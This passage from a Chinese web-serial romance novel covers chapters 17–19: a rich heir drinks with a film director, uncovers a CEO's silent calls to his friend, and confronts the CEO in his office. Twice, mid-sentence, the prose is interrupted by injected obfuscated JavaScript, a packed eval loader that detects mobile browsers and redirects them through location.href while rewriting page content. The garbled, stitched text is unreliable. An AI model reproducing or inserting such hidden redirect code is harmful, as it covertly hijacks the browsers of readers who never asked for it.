何湛程轻啧一声,抬眼去看刘导。 刘导冲他尴尬一笑,三分愧疚七分无奈:“生活么。” 何湛程就低头揉霜霜的脑袋瓜:“你爸是大导演,我又不是,我就一无业游民,连学都不上了,天天除了吃喝玩乐,就是抱着手机等接电话,一点都不忙。” 霜霜泪眼婆娑:“真的吗?” 何湛程:“真的。” 霜霜擦擦眼泪,好奇地问:“那除了我的电话,你还在等着接谁的电话?” 何湛程:“一个有趣的人。” 霜霜:“是你之前说的,那种有趣的脸吗?” 何湛程笑了,刮刮她鼻尖:“聪明!” 霜霜也笑:“那……这个有趣的人,最后也会变成镜子里的你自己吗?” 何湛程认真想了想,说:“不知道,但大概率是。” 霜霜突然拉住他的手,凑到他耳边轻声问:“小程子,你是不是也很孤单啊?” 何湛程也凑到她耳边,小声说:“不是孤单,是无聊。很无聊,非常无聊,无聊到恨不得让宇宙爆炸世界毁灭才觉得刺激。” 霜霜仰头,困惑地望着他。 何湛程冲她笑,是那种丧失一切兴趣的、很无聊没劲的笑。 下一秒,刘导生怕霜霜染上什么似的,赶忙拉着闺女坐到一边儿去了。 “霜霜,”刘导呵斥,“别影响哥哥吃饭!” 从库洛米小书包里掏出一个iPad,让她一边吃饭一边看动画片。 起身对他举起酒杯,笑道:“来,湛程,小孩儿不懂事儿,你别介意,咱爷俩走一个。” 何湛程扯扯嘴角,起身和对方碰杯。 “刘叔客气,我是小辈,该我敬您。” 灯影下,瓷杯啪呲相撞,白色酒液溅出几滴到指尖,像午夜的风,凉得很纯净。 他一口闷了,初刻不觉得什么,只片刻,那浓烈的辣气就倒刺进喉腔,火燎燎的,又像无数根细针,霎间穿插遍五脏六腑,刺激的心脏一阵超速狂跳。 好东西啊! 何湛程一挑眉,饶有兴致地把玩着手上小小的白酒杯,感觉很有意思。 “刘叔,”他吃着菜,随口道,“我喝不来这个,换红酒吧。” 刺激有好多种,他可不想选择最短命的一种。 刘祥不知道他喝不得烈酒,招手叫了服务生,要了两瓶红酒,回过头来,哈哈哈哈开始大肆取笑他酒量差劲。 何湛程好脾气地吃菜,笑而不语。 没关系,不知道就不知道。 除自家人外,世上人都不知道。 谁会将自己的弱点袒露到别人面前? 傻叉么? 曾经在他病重昏迷时,很多娱乐记者跑到他所在医院打探消息,不少人甚至乔装打扮成医生护士,只为拍一张何家三儿子濒死的照片。 只要拍到他那副浑身插满输液管的、要死不活的样子,随便写点什么内容,都能被渲染成一则爆炸性新闻,执笔人和摄像说不准还能青史留名,例如:xx拍摄于xx年xx月xx日。 分明下三滥行径,按正规格式一标,发布成文件,倒显得无比正派起来。 世事大多如此。 他爸本来就烦,当即发了话,令医院重重戒严,但居然还是有人混进去了。 次日一早,某早报头版,醒目粗黑大字标题:【何澜三子命悬一线,一代枭雄终得报应?!】 再次日一早,该报社一夜之间被砸得稀巴烂,执笔人和拍摄者血肉模糊地倒在雪地的玻璃渣堆里,脚边散了一地的牙。 这条新闻更劲爆,但没一个人敢写,更没一家报社敢报道。 他爸老年信佛,家里设了佛堂,供着神龛,香火袅袅,他爸日日诵经,脾气好极了,也没起诉那俩傻叉,还将人送进了全沪上最好的医院,天天派弟兄们带着水果花束去病房里唠嗑慰问。 这条新闻倒是登报了,一件小事,头版洋洋洒洒数千字,三分之二回顾他爸生平事迹,三分之一歌颂他爸美好品德,仅半天就传遍大街小巷,整个沪上无人不知无人不晓,被救助者的家人还专门送来了“多谢何先生见义勇为”的锦旗。 嗯,他爸是慈善家。 老实说,在遇见戚老二之前,何湛程一向很反感娱媒行业的人。 不管是在珠宝晚宴上骚扰裴玉那个摄像师,还是一眼就能令人瞧出来的那位靠幕后运作才火遍全国的戚铭大影帝,这群人有意思么? 娱乐文化脱离了娱乐本身,十条新闻有八条都是为炒作而捏造出来虚假信息,每天一打开手机,名不见经传的张三李四王五赵六、乱花人眼真假难辨的消息、扭曲事实编造是非的引战帖子、键盘侠无差别攻击……区区一个掌中的方形壳子,居然比最繁华街区的十字路口还要喧嚣。 他倒不是在指点江山,只是他们何家人比较保守,似乎还和他爸一起活在上个世纪,这些年来不太跟新潮的东西接触。 记得刚上大学那会儿,他被周围同学带着玩各种社交软件,有纯黄色的,也有赤橙红绿青蓝紫其他颜色的,他偶尔兴致上来,也分享日常生活。 发自拍、晒他喜欢喝的红酒和穿搭,短短半年,佛系营业收获3.5万的粉丝。 不过呢,林子大了啥鸟都有,既有人骂他炫富装叉,也有人揣测他在大学旁住的三层别墅和日常开的法拉利其实是租的,有人说他长得像男妓,还有人说他家做中国人的生意,他居然跑去外国读书——不爱国!骂他私生活乱(好吧这点他承认)……评论骂他还不够,居然还专门私信骂他? 这群该死的张三李四王五赵六!管得范围竟然比他爸妈大哥加在一起还多?搞得他大半夜在床上窝火睡不着,又不能每个人都揪出来揍一顿,他一怒之下,干脆就不玩赤橙红绿青蓝紫了。 话虽如此,社会日新月异的变化,现在是新时代、新面孔,看在戚老二的面子上,他也要摒弃一些刻板印象了。 偶尔也想,如果戚老二不是做这行的就好了,哪怕那人没钱,他何老三包养他也无所谓。 为什么呢,他说不上来。 可能看过戚老二上大学的视频? 直觉上,他认为戚老二不适合干这行。 但戚老二干哪行的关他屁事。 他又不跟戚老二谈恋爱结婚,他纯粹是看上了那人的脸蛋和身体而已。 饭局到晚间十点半,霜霜被送回酒店睡觉了,刘导开始跟他聊正事儿。 何湛程不傻,没等人开口,潇洒一挥手,说那些小打小闹,让刘导不用放在心上。 有啥可聊的? 聊总导演带着全剧组一起排挤欺负他么? 难不成他被欺负了还不够,事后还得再回顾总结一下? 没必要。 裴玉不也两头摇摆着么? 公司如他家,裴玉一路摸爬滚打不容易,他比谁都珍惜自己的演员身份和如今的地位,戚老二让所有人折腾他何湛程,裴玉能不知道? 一码归一码,问迹不问心。 人家也要讨生活,私下帮他带饭又带药的,万众追捧的大明星,拍完一天戏,还巴巴地跑来照顾他,他受人恩惠,睁一只眼闭一只眼,装傻就是了。 不用刘导帮他复习,他心里都有数。 不过刘导还想跟他表功。 刘导说,他第二次回来,又请大家吃饭又请喝水的,大伙儿都是人,也不是没良心,有人来问情况,他们三言两语地就帮他糊弄过去了,统一供词,说小何勤奋工作、没日没夜、一如往常地辛劳。 刘导希望何湛程以后见着了戚时,可千万不要露馅。 何湛程敬了人一杯,笑着说好。 双方就这样愉快地散局了。 晚上冷,何湛程的酒店就在不远处,婉拒了刘导开车送他的提议,他想吹会儿凉风,散步回去。 出门前,他在薄棉夹克外面,又套了一件没过膝盖的黑色羽绒服。 版型新潮,保暖又轻盈,中高档次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409026|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的品牌LOGO,两千来块,景区买的。 花的戚老二的钱。 他最近在外面下馆子吃饭喝酒、偶尔逛街买两件衣服、给霜霜买零食玩具、时不时请剧组大伙儿喝个饮料,花的都是戚老二的钱。 老规矩,让店长们只管找人打电话,他不信戚老二这么要面子的人会赖账。 扫兴的是,那人默不作声把所有的账单都结了,不跟他发火儿就算了,连茉莉都没找他。 茉莉不找他,就意味着戚时根本没有告诉她。 怎么会呢? 一个大总裁,这么繁琐的鸡毛蒜皮,一个个电话挨个接,一张张账单挨个付? 戚时是喝什么药了?怎么突然变得这么成熟有格局起来了? 何湛程觉得这日子过得很没意思。 夜幕深浓,黑漆漆的远山上空悬着一轮明亮的圆月,何湛程呼着热气,两手揣在羽绒服兜,漫步在寂静无人的商业街道上。 一只猫从仿古建筑的屋檐上跳下来,摇着尾巴,踩着曼妙的步子,姿态轻盈地路过他脚边,很快消失前方的坡道。何湛程抬起头,望着前路不见尽头的地平线,心想,如果这次他回去找戚时,对方还那么讨厌他的话,他就直接走吧。 兜里一阵响声,猛地心脏一紧,连忙掏出手机看: 许若林。 何湛程莫名有点火大。 其实九点半那会儿,许若林给他打了个电话,他没接。 这二楞小子不发消息就直接打电话,肯定是收到他礼物了,这就又开始得意忘形了,就又开始自恋了,就又觉得他爱他了。 何湛程真不知道自己该怎么跟那二楞小子讲清楚。 蜜蜂会喜欢它采过的每一朵花吗? 当然会啊! 不喜欢它采这朵花干嘛? 但蜜蜂会永远为一朵花停留在原地吗? 当然不会啊! 蜜蜂只有不断地采花,才能正常地运作它的生命,这么简单的道理,许若林这个天才级别的学神怎么就想不明白呢?! 不过眼下何湛程闲着没事儿,顺手就接了。 “程哥,”那边似乎语气不太对,“这么晚了,我没打扰你吧。” 何湛程无语:“你都打电话了,你还问这话干屁?” 敏锐察觉到对方一丝低落,何湛程皱了下眉:“怎么了?有事儿?” “我收到你的礼物了。” “嗯,不用谢,回头你那三千五,我也会还你的。” “程哥,我们之间不说这个。” “那你想说什么?” “我……我想问你……我……我又怕你生气。” “不说拉倒。” “等一下!” 这一嗓子吼的,冷不丁给何湛程吓一跳,大晚上夜黑风高的,鸡皮疙瘩都冻起来了。 对方显然情绪不对劲,这哪里是收到礼物的反应? 这是收到噩耗的反应吧? 何湛程不好开口骂人,耐下性子问:“我就给你半分钟,你不说事儿,我再也不接你电话了。” “我说!”许若林一咬牙,一向畏缩的语气忍不住增加了几分怒意:“你在扉页给我写那样一段话,却又在末页夹一张别人的照片,我不明白你是什么意思?是他在跟我示威?还是你在羞辱我?!” 何湛程懵逼了:“啥?” 许若林察觉不对劲:“你不知道?” 何湛程本身就有些微醺,眼下被这乱发疯的小子气的头疼,思绪更是混乱不堪。 一手举着电话,一手死命揉着太阳穴:“我让朋友帮忙邮寄,可能她在处理事情的时候不小心掉进去的,我只送了你一个本和一个书签。” 许若林一秒被哄好:“真的吗?” “什么照片,发来我看看。” “那没必要了,”许若林笑得开朗,“程哥你早点休息吧,谢谢你的礼物,我很喜欢,晚安!” “照、片、发、来、我、看、看。”何湛程一字一顿地说。 “不要。”许若林一口回绝,挂断电话。 何湛程呵呵冷笑。 这给他惯得。 太不像话! 给人发微信,语气郑重严肃: —给你发快递的是燕京某个大集团的总行政秘书,她如果遗失了重要文件,会很耽误事,你照片发我,我帮你问问她 许若林: —少骗我,那张照片才不是什么重要文件 何湛程:“……” 如果全天下的人都和戚老二一样好骗就好了。 他真讨厌和聪明人打交道。 略一思索,换了路数: —我过几天就回沪上,等我回去,带你去吃大餐看电影买新衣服 许若林: —你说的 何湛程: —照片 许若林磨磨蹭蹭地发来一张照片。 不,是两张,一张照片的正面和反面。 正面,是那张几乎连睫毛根数都早已深深印在何湛程脑子里的、戚时戚大总裁的超高清版高中毕业校服帅照。 反面,白色底粗黑记号笔,正楷—— 勉强算正楷。 能看出本人在很努力的一笔一划地写了,但效果并不显著,歪歪扭扭,共七个丑陋的大字: 【十七岁的帅老子】 18. 第18章 当何湛程一脸纳闷地探究这行犹如男孔雀开屏一样的丑字时,许若林突然想起什么,告诉他一件事: 在收到礼物前两天,许若林接到了大概六七通莫名其妙的电话,同一手机号,不分时间段的打来,也不说话,就听着他问“喂,你好”、“你是谁”、“请问找我有事吗”,到后来许若林觉得太诡异,开始发脾气威胁对方“说话”、“再不说话我报警了”,对方依旧保持沉默,等他说完,然后再挂掉。 何湛程隐隐有种不祥的预感。 他问许若林,今天那个人给你打了吗? 许若林愤愤地回,不知道,我把这个手机号拉黑了! 何湛程找许若林要手机号,许若林没防备,直接给他输过来了。 何湛程看到那串熟悉无比的手机号,大脑宕机足足半分钟。 戚老二到底在搞什么啊? 整他一个何湛程还不够,怎么还整到许若林头上来了? 还有,这傻大个儿的脑子是不是有坑? 平时打电话也就算了,做坏事骚扰别人都不知道换个小众点的手机号? 不知道他何湛程对他戚老二的手机号倒背如流? 还是故意等着露馅呢? 露馅,然后呢? 何湛程想,等着他去质问吗? 戚老二拉黑了他微信和电话,也不回他短信,他还怎么再质问? 许若林发语音来:“程哥,你认识这号码?” 何湛程烦得不行:“不认识,你继续拉黑着吧!” 回酒店,何湛程整个脑袋团满了浆糊一样,扔了手机,直奔浴室洗澡试图清醒一下。 弯腰脱裤子的时候,猛然想起他那条失踪多年的内裤,和内裤一起消失掉的照片们。 “草……”何湛程维持着这个姿势没敢动,眼睛瞪得溜圆,吓得几近失声。 一切都败露了,不知道那群人怎么帮他装的行李,难不成他把照片和内裤扔在了一起,他们就要把这两种东西都装在一起吗?! 不觉得变态吗?! 这年头都是些什么世道啊!! 何湛程澡都没敢洗,重新穿好裤子,噔噔噔跑到沙发前拿手机,一屁股陷进真皮软垫里,呼吸紧张地发消息问茉莉: —他什么时候知道的照片的事? 茉莉秒回: —你正式入组的第一天中午。 这就说得通了。 何湛程心跳砰砰,呼吸一点点平缓下来。 难怪戚老二前阵子跟疯了一样折腾他,原来是早就知道了?! 最近一声不吭,是终于消气了?或者懒得再理他了? 不。 戚老二又开始折腾上许若林了。 何湛程皱眉。 不是,戚时活这么大岁数,怎么还搞连坐啊?这也太小心眼儿了吧? 但—— 戚老二把照片放许若林的礼物里膈应人,他多少能理解一点,戚老二亲手写的那行“十七岁的帅老子”是什么意思? 自恋狂? 偏偏是十七岁,偏偏放的是高中毕业照。 怎么不放大学毕业照呢? 正疑惑着,茉莉倒发消息来问: —你怎么知道他知道了照片的事? 这下子更疑惑了,何湛程问: —不是你们戚总放进去用来警告我的么? 茉莉: —放哪里? 何湛程眉头拧成川字: —你现在方便接电话吗? 茉莉: —方便,我还在上班。 何湛程就拨通了她的电话,俩人一来一往地聊。 何湛程开门见山就问:“许若林的礼物你什么时候送出去的?” 茉莉歉然:“抱歉,我前两周有些忙,时间点总和取件员有冲突,你的东西我也不好假手于人,但你说过不着急,所以我拖了一阵子,前天才邮寄过去的。” “你不知道戚老二往那个本子里放了照片?” 茉莉懵了:“啊?” “就是你们在我行李里翻出来的那几张照片。” 茉莉犹豫片刻,似乎也在向他求解:“这个我不太清楚,但那几张照片,还有你的……咳,私人物品,戚总都一起收走了,你的意思是,他把拿走的照片又都放回你送朋友的本子里了?” 何湛程眉心猛地一跳。 戚老二那个死变态,收照片就算了,收他穿过的内裤干什么? “嗯,不过就一张。” 今晚许多事情都太过玄幻,何湛程也有些云里雾里,他坦诚道:“他还在背面写了字,可以的话,你让他给我打个电话解释,如果他不乐意,你帮我问问他那句话是什么意思。” “我知道了,”茉莉并不正面给出回应,只说,“我先调一遍监控。” “随你,”何湛程语气冷峻几分,“但你告诉他,我和他两个人的事,不要牵扯到不相干的人。” “好的,这句话我会转告的。” 翌日。 下午四点二十五分。 总裁办的玻璃门今天第N次被敲响,门外女声问询:“戚总,这会儿方便了吗?” 戚时正沉浸式趴在桌上写东西,头也不抬,不耐烦道:“说了,今天一整天都没空,不是急事儿就先堆着,明天我再处理!” 门外叹一口气:“的确不算急事,但想必您会感兴趣。” 戚时乱划拉的笔一停,问:“刘导那边的?” 茉莉:“我能进去说吗?” 戚时一顿,低头看一眼铺满桌子《控笔训练》、《楷书基本功》、《高效练字49法》、《21天行书速成》、《行书常用3000字》,和买行书整套附赠的一本《情书临摹八百句》,还有没练一会儿就原形毕露的狗爬字体,飞了满纸的“许若林”和“何湛程”,还有画工逐渐精湛起来的、大小不一的枫叶。 三下五除二将这堆练字帖收到抽屉里,草稿纸撕成碎片扔脚边的废纸篓,他清清嗓,装模作样打开电脑,靠在椅子上,随便点开一个文档,冲外面说:“进吧!” 茉莉一身职业西装,踩着高跟鞋进来,靠近办公桌前半米站定,抬手推了下她反光的银丝眼镜。 戚时一挑眉:“怎么,今天走柯南风?” 茉莉微笑:“昨晚凌晨三点才下班,遮熊猫眼的。” 戚时皱眉,纳闷问:“最近不忙吧?怎么你加班这么晚?” 茉莉继续笑:“公司事不忙,但昨晚三少来电话找我查证一件事,我调监控找罪魁祸首,查了四个多小时。” 戚时默默低下头,右手拇指食指飞速转着钢笔,左手认真抠着办公桌上的木质纹理,没吭声。 茉莉稍微往前走了一小步,表着忠心:“您放心,我不会干涉超过我职责范围的事,只是关于那张照片背面那行字,三少说希望您给他解释一下意思。” 戚时哼一声:“他自己不会问么?” 茉莉:“他说您可以给他打电话。” 戚时冷冷道:“是他要问,又不是我要问,他应该给我打电话才对吧?” 茉莉:“呃……您好像把他拉黑了。” 双手在空中比划了一个弧,小声提醒:“全方位的拉黑。” 戚时蹙眉,不满意道:“拉黑一个不会再办一个么?他不是挺多手机号的么?剧组那么多人,他随便借一个别人的手机打不行么?” 茉莉:“……” 所以呢? 现在是谁先跟谁打电话的问题吗? 戚时见她一脸欲言又止,随即察觉到自己的失态。 放下钢笔,十指交叉搁在桌上,他反客为主,倒质问起她:“我往自己的照片上写东西还需要向别人解释?陈述事实而已,还是你觉得我写的那话不对?何老三天天闲的发慌,吃饱了撑的没事就骚扰你一下,你搭理他干什么,还为他费心这么晚,你到底给谁做秘书的?” 茉莉无奈:“好的,我明白了。” 戚时一挥手:“去吧。” 不知道为什么,他最近看见她就想逃跑,但谁让他是老板,她是员工? 茉莉:“还有一件事,三少让我给您传句话。” “嗯,你说。” “他说,他和您两个人的事,希望您不要将其他人牵扯进来。” 戚时一顿,别过脸看向窗外,忍不住嗤声嘲讽:“怎么,他这是心疼了?” 茉莉还没开口闹清楚状况,就又听对面低声埋怨:“我也没干什么吧。” 她抿了抿唇,盯着他黯然的侧脸。 她不知道他还要再口是心非到什么时候。 “戚总,”她轻声暗示,“其实三少一直都很尊敬您,如果您肯放低姿态,主动和三少示好,你们变得亲密些并不是难事,俗话说得好,多一个朋友就少一个敌人,您——” 戚时蹙眉打断:“老子用得着跟他一个黄毛小子交朋友?” 茉莉:“……” “没事我先下去了。” “嗯。” 玻璃门关上,高跟鞋声远离,偌大空间重新成为他一个人的私人场地,戚时斜歪在办公椅上胡乱转了一圈,抬手掌抹了把脸。 他不懂自己面对下属在提心吊胆些什么。 点击两下鼠标,打开“工作簿1”,这是份没有正式命名的Excel表。 他先偏头往外瞅一眼玻璃门,确定茉莉不会突然回来,而后放心大胆地浏览起来。 3.15 寿司店 鸭舌帽+短皮夹克+长裤+马丁靴,脸白白净净的,长很漂亮,腕上戴着串佛珠 这是找他付账单时,寿司店老板跟他详细描述的。 老板询问:“老总,这是您家的少爷吧?” 他回:“是。” 3.15 新疆特色烤羊腿店 年轻人+个子很高+笑容甜+皮肤白+非常有礼貌 老板询问:“请问您是他的哥哥吗?” 他回:“是。” 3.15 古镇茶饮店 老板:“您好,刚才有位客人来我们店铺下了五百单茶饮,请问是您要求的吗?” 他:“他长什么样?” 老板:“戴着顶黑帽子,穿皮夹克,个子一米八往上,长得像明星,气质挺好。” 他:“是。” 老板:“那请您先结算一下账单,我们这边开始制作。” 他:“好。” 从此就一发不可收拾起来。 3.16 冲锋衣+球鞋+斜挎包+身上有很好闻的香味 1*小羊绒毯/1*箱暖宝宝/高级智能保温杯/一打棉袜/2*红酒 小兔崽子怕冷,他想。 3.17 驼色大衣+高领黑毛衣+牛仔裤+帆布鞋+看起来很开心 融合菜料理/ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409027|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 2*护肤套盒/1*香水/5*红酒/2*跑鞋/500*茶饮/剪指甲刀 他纳闷,不是说在辛勤劳动么,怎么干苦力活还穿大衣? 3.18 毛线帽+暗红卫衣+薄棉黑马甲+运动裤+领着一个小女孩 麦当劳/粉红泡泡机/库洛米毛绒挂件/清朝格格装*景区一日游摄影套餐 他挑眉,今天帮刘导带孩子? 呵呵,霜霜那小妮子不折腾死他才怪。 3.19 / 他等了一天,到凌晨也没等到一个电话。 怎么不买东西了? 他躺在床上辗转反侧。 衣服包鞋子不买,饭总得吃吧? 茉莉不是说兔崽子身上没钱了吗? 不吃饭……不饿吗? 3.20 一个手里捧着保温杯的帅小伙 1*长款羽绒服/2*糖葫芦/500*茶饮/2*红酒 对啊,他想,冷了就该买件暖和点的羽绒服穿才对,光盖个小破毯子有屁用? 3.21 / 3.22 / 3.23 / 不吃饭吗? 一口饭都不吃? 他才不信小兔崽子会吃得惯剧组盒饭。 急得差点给人打电话过去。 怪不得这么瘦,成天干苦力,还天天饿着? 凌晨两点半盘腿坐在床上,清清嗓,练习第二天要打电话时父亲般的语气: “怎么不吃饭啊程儿?你大哥让我照顾好你的身体,你老挨饿哪儿成啊?明天得好好吃饭啊!” “还有,别老喝酒,怪伤身的,年纪轻轻就肾虚了咋整?” 第二天,一整天拿着手机开开关关,高层会议上,茉莉站在发言台上汇报工作,一双犀利的眼睛盯向心不在焉的他,提醒:“戚总,您说呢?” 说。 他说啥? 天天开个几把的破会,他只想扔了身上这紧绷绷的破西装,穿着白背心大裤衩,窝在家里遛狗喝茶晒太阳。 他最终没打过去。 晚上一口饭没吃,泡了杯蛋白粉,心烦意乱地举了半小时铁、卷了半小时腹,又在跑步机上跑了俩小时,把自己搞得大汗淋漓,再冲个暴风雨般激烈的冷水澡,吃两片安眠药睡去。 光标点到“×”,食指悬在鼠标,戚时盯着那一排排毫无道理的文字记录,关闭页面,果断永久删除。 从现在开始,他决定不再关注任何关于何湛程的事。 首先,他是男人,男人天生就该喜欢女人,所以他应该喜欢女人。 其次,就算他喜欢男人,他也该喜欢一个知书达理懂事乖巧干干净净的高学历男生,而不是何湛程这种连大学都没上完就四处留情的风流兔崽子。 最后,就算他喜欢这只偶尔有点可爱的兔崽子,人家也不会看上他。 所以,没戏。 戚时打开抽屉,掏出他的小摞字帖,撕了两张临摹纸,开始重新练字。 嗯,男人当自强! 刚写了个“许”,桌边手机嗡嗡震动起来,他瞥一眼,是个陌生号码。 不知道今天又买的什么。 他放下笔,接起电话,另一手点着鼠标,重新创建了一个Excel表,并将光标挪到第一格。 对方:“您好,这里是XX时装专卖店,现在有位二十岁左右的年轻男士在我们店铺购物,请问是您这边付款吗?” 戚时:“他今天长什么样儿?” 对方:“呃……挺高的,穿浅色牛仔外套和黑紧身裤,戴着棒球帽和口罩。” 戚时:“他感冒了?” 对方:“什么?” 戚时:“没什么,账户发我短信,稍后给你转过去。” 对方:“好的,下面为您汇报账单:一件5999元的落肩长款休闲风衣、一件3640元的薄棉绒白色衬衫、一条1626元的真丝提花黑领带、一双2888元的深红帆布鞋和三百条单价为460元的男士内裤,共消费十五万两千一百五十三元,这边给您按折扣九五折价算,您需付十四万四千五百四十五点三五元。” 戚时无语。 这狗兔崽子有几个裆,买这么多条内裤。 “知道了。” 挂掉电话,对方发来账户,戚时转账过去。 这才想起,商家报的地址貌似是在京城市里,而且距离他公司还挺近。 今天跑出来玩儿了?他心里萌生出几分难以言说的期待,没在景区忙? 双手敲着键盘,一字一句把刚才对话内容整理到表格里,瞥一眼电脑右下时间栏,下午五点十分。 快到饭点了。 他想,要不现在领着茉莉去楼下吃顿饭吧,再开车去附近奢侈品店转转,嗯,就是何湛程刚才买衣服的那家店,送她个包,算作她昨夜帮兔崽子辛苦操劳的补偿。 正准备发信息给她,她座机电话先过来了: “戚总,大堂打电话上来,说三少来了,您要见他吗?” 戚时登时一喜! 下一秒,整个人吊儿郎当地歪进椅子里,叠起长腿搭在办公桌角,一手举听筒,另一手钢笔转得飞速,一脸不耐烦道: “他人都找来了,我还能怎么着?” 茉莉:“……” “那我安排他上来了。” 戚时:“随便你。” 19. 第19章 “hello!茉莉,好久不见!” 隔着长长的走廊,一道尾调悠哉的问候声传来,动听得像在和她调情。 茉莉无奈一笑,略感疲惫地扶了下镜框,从一摞资料文件中抬起头,望向那位惹祸实力果然名不虚传的小祖宗。 不同于上次见面的日常装,小祖宗今天来拜访某人,显然是细心打扮过了。 三七分碎盖的发型,偏正式的白衬衫黑领带,过膝风衣在行走间猎猎翻飞,不经意露一截劲瘦腰身,清纯动人,完全像个来面试的帅气男大学生,然而胸前口袋插两朵嫣然盛放的红玫瑰,以及脚底踩的那双暗红帆布鞋,又直接暴露出他风流少爷的骚包本性。 少爷走到哪儿都是一脸笑意迷离,很好脾气的样子,是故,哪怕他本性再混蛋,也令人舍不得对他生气。 他朝她笑着走来,一手插兜,另一手从胸前摘下支玫瑰,低下头,颇具绅士仪式感地递给她:“鲜花赠美人,请允许我将这支玫瑰献给我们辛劳工作一天的茉莉女士。” 茉莉脸微微一红,起身道谢接过花。 玫瑰芬芳,她低头嗅着,心想,这世上有谁会不爱上他呢? 眼神瞄到他胸前的另一朵,犹豫地问:“我先收的话,是不是不太好?” 作为戚时的身边人,她很清楚,老板在很多事情上是非常大方的,但在某些事上,也是极其小心眼的。 何湛程一挑眉:“怎么会?难道不是Lady first吗?” 茉莉连忙将手往总裁办一摆:“进吧,戚总在里面等你。” 真是的,再多聊几句,她就要成老板的情敌了。 她可不想每天上班时不时就收到几张老板亲笔签名的私人帅照。 她会做噩梦的。 “我给你们戚总带了些礼物,”何湛程进屋前扭头交代,“在大堂前台,你等下叫人拿进来吧。” “好的。” 何湛程就这么推门进去了。 居然就这么推门进来了?!! 戚时坐在电脑前,目不转睛地盯着一份几百年前就已经处理过的文件,余光瞄着走近的……帅得那么光彩动人的男孩,底下两手胡乱忙着,噼里啪啦地敲键盘。 心想,当他办公室是兔崽子窝么? 一点礼貌都没有。 “二哥,忙着呢?” 兔崽子笑得跟朵花似的,手里也捏着支玫瑰,大高个子站在办公桌对面,隔着电脑就递了过来:“刚服装店老板送的,我觉得这花跟你长得像,顺手就带来了,你闻闻,香不香?” “没空,”戚时头也不抬,“你随便在屋里找个花瓶插上去吧。” 兔崽子没听懂似的,摇着一截雪白细瘦的手腕,在他眼前晃着那支湿漉漉的玫瑰,使坏将花瓣上的露珠滴在他鼻梁上,笑说,“二哥,你知道吗,我小时候也经常在我爸公司的总裁办里玩儿,他们得空了就陪着我下象棋,还能一下一整天,你知道为什么吗?” 戚时满不在意地问:“为什么?” “因为坐总裁办的人,一般在签字或者思考,要么就是在打电话,他们不怎么敲键盘的。” 戚时:“……” 手指就这么悬浮在键盘上,敲也不是,不敲也不是。 “就算敲键盘呢——”兔崽子笑意欲深,找死一样,将那朵玫瑰伸过来,轻轻拂过他的眉心,滑过他紧绷的侧脸,最终停留在他的下巴,这般撩拨着,笑说:“也不会像你敲得这么激烈。” 戚时:“……” 干脆抬头和人对视,一脸的镇定自若:“我就喜欢这样敲,我们练体育的力气大,就喜欢敲得噼里啪啦的,带劲。” 兔崽子笑得花枝乱颤。 然后缓缓俯下身,更近距离地眨眼望着他,一脸宠溺:“好呀,你说什么都对。” 戚时僵在椅子上,一动不敢动。 倒不是怕,就是不理解。 这狗兔崽子今天怎么回事?吃错药了?这人胆大包天得有点过分了吧,居然敢调戏他?! “你想干什么?”戚时仰头瞪他。 这个姿势其实处于下风,他想,他该站起来的。 他一站起来,无论是身高,还是体型上,他都能完全将面前这个骚得不行的小兔崽子包裹住。 完全的、每一寸肌肤和气息、一滴不漏的,包裹住。 “我就是想让你闻闻,这花香不香。”何湛程笑眯眯的,再一次将花递过来。 这语气又恢复正常了? 戚时被搞得莫名其妙,接过来花,敷衍般地闻了闻,说:“就那样吧。” “你觉得花好看还是我好看?”对方抱着臂,一屁股坐在他斜边桌角,冷不丁又扔出来一个炸弹。 戚时一噎。 是不是他上辈子作孽太多了? 否则这辈子他怎么会本来很正常地喜欢着女人呢,突然就又喜欢男人了? 这小混蛋甚至还算不上个正经男人。 这小混蛋比女人还会勾引人! 戚时眉头蹙起,他是真心疑惑地问:“我不明白你什么意思,你觉得这是一个20岁的小年轻会问一个长辈的问题吗?” 何湛程“哦”了一声,歪着头,也对人皱眉问:“原来一个喜欢收藏我没洗过的内裤的大龄青年也能称呼长辈吗?” 戚时一惊,立刻拍桌而起,冲人吼道:“谁收藏了?!你不要胡说八道!当时是因为照片也在里面,我顺手才拿走了,现在已经给你洗干净放起来了!我告诉你,要不是看你那破玩意儿四千多一条,老子早他妈给你扔了!还用得着你跑过来质问我?艹,你以为你是谁!要不是因为你姓何,就凭这些天你干的这些混账事儿,你当老子还愿意给你好脸色?!” 吼完,猛地低下头,大脑轰隆隆的,气喘吁吁着,脸部肌肉不听使唤地抽搐,比健身房运动俩小时还要心累。 他说呢,险些真以为这兔崽子对他有意思呢,原来何老三是来报复他那事儿来了。 “怎么了!怎么了!怎么了!” 听到动静的茉莉,直接推门冲进来了,看着屋里两个绝色男人,一个坐在办公桌上愣神,另一个低头撑在桌上大喘气,氛围非常差劲。 天哪,茉莉眼前一黑。 她本以为今天三少会直接把她老板拿下的! 或者老板把三少拿下。 何湛程也懵了。 他早上酒醒,重新回顾了一遍照片事件、买单事件和礼物事件,反复思考和推演,才正式确定戚时是对他有意思的。 如果不喜欢他,戚时在发现照片后的第一反应,应该是直接将照片甩给他,明确表达自己的厌恶,或者更简单的方式,戚时完全可以找他大哥告状,俩人合起伙骂他一顿,再把他送走。 